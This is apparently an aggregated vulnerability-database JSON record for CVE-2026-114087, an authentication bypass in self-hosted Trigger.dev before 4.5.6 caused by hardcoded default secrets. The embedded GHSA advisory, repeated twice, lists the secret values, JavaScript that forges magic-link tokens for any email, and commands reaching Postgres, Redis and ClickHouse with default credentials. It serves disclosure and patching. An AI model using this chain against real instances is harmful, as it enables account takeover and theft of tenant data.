{"id":"CVE-2026-114087","aliases":["EUVD-2026-106890","GHSA-jm68-q9wf-qf39","GHSA-pqxw-g93w-hj9x"],"status":"published","title":"Trigger.dev before 4.5.6 Authentication Bypass via Hardcoded Default Secrets","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","severity":{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00512,"percentile":0.44205,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1393","CWE-653"],"published":"2026-10-02T22:39:48Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"trigger.dev","fixed_in":["4.5.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"trigger.dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.5"},{"fixed":"4.5.6"}]}]},{"source":"osv","ecosystem":"npm","package":"trigger.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.6"}]}]}],"products":[{"vendor":"triggerdotdev","product":"trigger.dev"}],"references":[{"url":"https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/trigger-dev-before-4.5.6-authentication-bypass-via-hardcoded-default-secrets","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114087","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jm68-q9wf-qf39"},{"url":"https://github.com/triggerdotdev/trigger.dev/pull/4316","tags":["web"]},{"url":"https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0","tags":["web"]},{"url":"https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pqxw-g93w-hj9x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114087.json","tags":["advisory"]},{"url":"https://github.com/triggerdotdev/trigger.dev","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-114087","title":"Trigger.dev before 4.5.6 Authentication Bypass via Hardcoded Default Secrets","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","status":"published","published":"2026-10-21T00:36:53.452Z","modified":"2026-10-22T15:57:06.612Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-653"],"updated_at":"2026-11-02T13:39:50.160666Z"}],"euvd":[{"id":"EUVD-2026-106890","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","status":"published","published":"2026-10-21T00:36:53Z","modified":"2026-10-22T15:57:06Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T16:59:34.732609Z"}],"ghsa":[{"id":"GHSA-jm68-q9wf-qf39","title":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from...","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","status":"published","published":"2026-10-21T03:32:23Z","modified":"2026-10-21T03:32:23Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-653"],"updated_at":"2026-11-02T15:14:08.480034Z"},{"id":"GHSA-pqxw-g93w-hj9x","title":"Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise","description":"## Summary\n\nSelf-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.\n\n## Vulnerability Details\n\nThe `hosting/docker/.env.example` file contains hardcoded cryptographic secrets:\n\n```\nSESSION_SECRET=2818143646516f6fffd707b36f334bbb\nMAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd\nENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a\nMANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f\n```\n\nThe `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted).\n\n## Steps to Reproduce\n\n### Setup\n```bash\ncd hosting/docker \u0026\u0026 cp .env.example .env\ncd webapp \u0026\u0026 docker compose up -d\ncd ../worker \u0026\u0026 docker compose up -d\n```\n\n### Step 1: Forge magic link token\n```javascript\nconst CryptoJS = require('crypto-js');\nconst secret = '44da78b7bbb0dfe709cf38931d25dcdd';\nconst payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});\nconst token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());\nconsole.log('https://target:8030/magic?token=' + token);\n```\n\n### Step 2: Authenticate via forged magic link\n```bash\ncurl -v \"http://localhost:8030/magic?token=\"\n# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...\n# User auto-created, session cookie set, redirects to /orgs/new\n```\n\n### Step 3: Verify database access from runner network\n```bash\ndocker run --rm --network webapp postgres:14 psql \"postgresql://postgres:unsafe-postgres-pw@postgres:5432/main\" -c \"SELECT id, email FROM \\\"User\\\";\"\n# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com\n```\n\n### Step 4: Verify Redis access (no auth)\n```bash\ndocker run --rm --network webapp redis:7 redis-cli -h redis PING\n# Returns: PONG\n```\n\n### Step 5: Verify ClickHouse access\n```bash\ndocker run --rm --network webapp curlimages/curl curl -s \"http://default:password@clickhouse:8123/?query=SELECT%20version()\"\n# Returns: 25.5.2.47\n```\n\n## Root Cause\n\n1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12)\n2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42`\n3. Default credentials on all infrastructure services\n4. No Redis authentication\n5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens\n\n## Impact\n\nComplete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.","status":"published","published":"2026-10-02T22:39:48Z","modified":"2026-10-02T22:42:08Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-653","CWE-1393"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-114087","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","status":"published","published":"2026-10-21T01:17:33.45Z","modified":"2026-10-22T16:17:33.827Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-653"],"updated_at":"2026-11-02T14:13:02.045979Z"}],"osv":[{"id":"CVE-2026-114087","title":"Trigger.dev before 4.5.6 Authentication Bypass via Hardcoded Default Secrets","description":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","status":"published","published":"2026-10-21T00:36:53.452Z","modified":"2026-10-28T02:30:41.410326165Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-653"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"GHSA-pqxw-g93w-hj9x","title":"Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise","description":"## Summary\n\nSelf-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.\n\n## Vulnerability Details\n\nThe `hosting/docker/.env.example` file contains hardcoded cryptographic secrets:\n\n```\nSESSION_SECRET=2818143646516f6fffd707b36f334bbb\nMAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd\nENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a\nMANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f\n```\n\nThe `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted).\n\n## Steps to Reproduce\n\n### Setup\n```bash\ncd hosting/docker \u0026\u0026 cp .env.example .env\ncd webapp \u0026\u0026 docker compose up -d\ncd ../worker \u0026\u0026 docker compose up -d\n```\n\n### Step 1: Forge magic link token\n```javascript\nconst CryptoJS = require('crypto-js');\nconst secret = '44da78b7bbb0dfe709cf38931d25dcdd';\nconst payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});\nconst token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());\nconsole.log('https://target:8030/magic?token=' + token);\n```\n\n### Step 2: Authenticate via forged magic link\n```bash\ncurl -v \"http://localhost:8030/magic?token=\"\n# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...\n# User auto-created, session cookie set, redirects to /orgs/new\n```\n\n### Step 3: Verify database access from runner network\n```bash\ndocker run --rm --network webapp postgres:14 psql \"postgresql://postgres:unsafe-postgres-pw@postgres:5432/main\" -c \"SELECT id, email FROM \\\"User\\\";\"\n# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com\n```\n\n### Step 4: Verify Redis access (no auth)\n```bash\ndocker run --rm --network webapp redis:7 redis-cli -h redis PING\n# Returns: PONG\n```\n\n### Step 5: Verify ClickHouse access\n```bash\ndocker run --rm --network webapp curlimages/curl curl -s \"http://default:password@clickhouse:8123/?query=SELECT%20version()\"\n# Returns: 25.5.2.47\n```\n\n## Root Cause\n\n1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12)\n2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42`\n3. Default credentials on all infrastructure services\n4. No Redis authentication\n5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens\n\n## Impact\n\nComplete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.","status":"published","published":"2026-10-02T22:39:48Z","modified":"2026-10-21T10:57:23.177909316Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-1393","CWE-653"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}